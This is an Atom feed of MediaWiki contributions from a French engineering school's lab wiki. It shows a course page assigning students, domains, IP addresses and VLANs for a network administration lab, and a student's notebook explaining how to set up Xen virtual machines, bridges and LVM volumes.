<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Pcasimir</id>
	<title>wiki-se.plil.fr - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Pcasimir"/>
	<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php/Sp%C3%A9cial:Contributions/Pcasimir"/>
	<updated>2026-08-18T20:15:35Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.39.1</generator>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12741</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12741"/>
		<updated>2026-03-03T12:12:05Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
!numéro de binôme&lt;br /&gt;
!Adresse IPV4 OpenWRT&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|1&lt;br /&gt;
|193.48.57.177&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|3&lt;br /&gt;
|193.48.57.180&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|4&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|5&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|7&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|6&lt;br /&gt;
|193.48.57.100&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| 193.48.57.167|| Mohamed Salhi &lt;br /&gt;
|2&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|Styx&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|-&lt;br /&gt;
|E7-Ibrahim&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolYassine&lt;br /&gt;
|10.60.8.0/24&lt;br /&gt;
|2001:660:4401:60a8::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolEvora&lt;br /&gt;
|10.60.11.0/24&lt;br /&gt;
|2001:660:4401:60ab::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12702</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12702"/>
		<updated>2026-03-01T16:46:02Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Comment lire ça ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', on a '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : on peut dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, on es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* on peut ajouter autant de VIF que on veux '''en théorie'''&lt;br /&gt;
* en pratique : on restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie nos '''3 machines''' (nos VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
